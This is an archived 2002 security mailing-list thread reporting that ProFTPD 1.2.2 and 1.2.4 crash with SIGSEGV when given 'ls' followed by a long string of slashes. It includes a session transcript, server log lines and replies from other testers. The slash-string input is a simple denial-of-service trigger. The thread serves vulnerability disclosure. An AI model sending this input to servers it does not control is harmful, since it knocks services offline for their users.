RE: Proftpd SIGSEGV

From: Ryan Yagatich (ryanyat_private)
Date: Wed Jan 02 2002 - 12:45:18 PST

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    Not sure about anyone else, but i usually try these things with telnet
    and/or
    netcat to make sure.
    
    Test
    ====
    ProFTPD	1.2.4
    RedHat		7.1
    
    Not vulnerable
    --r
    
    : -----Original Message-----
    : From: Nelson Sampaio Araujo Junior [mailto:nelsonat_private]
    : Sent: Wednesday, January 02, 2002 6:55 AM
    : To: Joel F; 'Yaroslav Klyukin'; vuln-devat_private
    : Subject: Re: Proftpd SIGSEGV
    :
    :
    : I've got an "Out of memory during globbing of /////...../////" on Mandrake
    : 8.1
    :
    : []s
    : Nelson Junior
    : nelsonat_private
    : nelsonat_private
    : ----- Original Message -----
    : From: "Joel F" <joelfat_private>
    : To: "'Yaroslav Klyukin'" <bulldozerat_private-ip.com>;
    : <vuln-devat_private>
    : Sent: Monday, December 31, 2001 6:41 PM
    : Subject: RE: Proftpd SIGSEGV
    :
    :
    : > Confirmed.  However, this only happens if I use a linux based ftp.  If I
    : > used the default XP ftp client, it lists the dirs with the //s in front
    : > of them, same login, same procedure from other linux boxes or localhost
    : > gives the results you found..
    : >
    : > -----Original Message-----
    : > From: Yaroslav Klyukin [mailto:bulldozerat_private-ip.com]
    : > Sent: Sunday, December 30, 2001 6:53 AM
    : > To: vuln-devat_private
    : > Subject: Proftpd SIGSEGV
    : >
    : >
    : > I have found some strange things happening with proftpd (I tried 1.2.2
    : > and 1.2.4. on different systems)
    : >
    : > When you issue
    : > ls ////////////////////////////////////////////////////////////////////
    : >
    : > command it will catch SIGSEGV and exit (11)
    : >
    : > I am not sure if it is already known, i send it just in case.
    : >
    : > Example:
    : >
    : >
    : > [root@desktop skintwin]# /usr/local/sbin/proftpd
    : > [root@desktop skintwin]# ftp localhost
    : > Connected to localhost.localdomain.
    : > 220 ProFTPD 1.2.4 Server (ProFTPD Default Installation)
    : > [desktop.skintwin.no-ip.com]
    : > Name (localhost:skintwin):
    : > 331 Password required for skintwin.
    : > Password:
    : > 230 User skintwin logged in.
    : > Remote system type is UNIX.
    : > Using binary mode to transfer files.
    : > ftp> ls
    : > ////////////////////////////////////////////////////////////////////////
    : > ///////////
    : > 227 Entering Passive Mode (127,0,0,1,4,100).
    : > 150 Opening ASCII mode data connection for file list
    : > 421 Service not available, remote server has closed connection
    : > ftp>
    : >
    : >
    : > In log files i have:
    : >
    : >
    : >
    : > Dec 30 17:46:27 desktop proftpd[1329]: desktop.skintwin.no-ip.com -
    : > ProFTPD 1.2.4 (release) (built óÂÔ äÅË 29 23:27:35 MSK 2001) standalone
    : > mode STARTUP
    : > Dec 30 17:46:35 desktop proftpd[1331]: desktop.skintwin.no-ip.com
    : > (localhost.localdomain[127.0.0.1]) - FTP session opened.
    : > Dec 30 17:47:09 desktop proftpd[1331]: desktop.skintwin.no-ip.com
    : > (localhost.localdomain[127.0.0.1]) - ProFTPD terminating (signal 11)
    : >
    : >
    : >
    : >
    : > --
    : > Systems admin of skintwin.no-ip.com
    : > Visit http://skintwin.no-ip.com:777/
    : >
    : >
    



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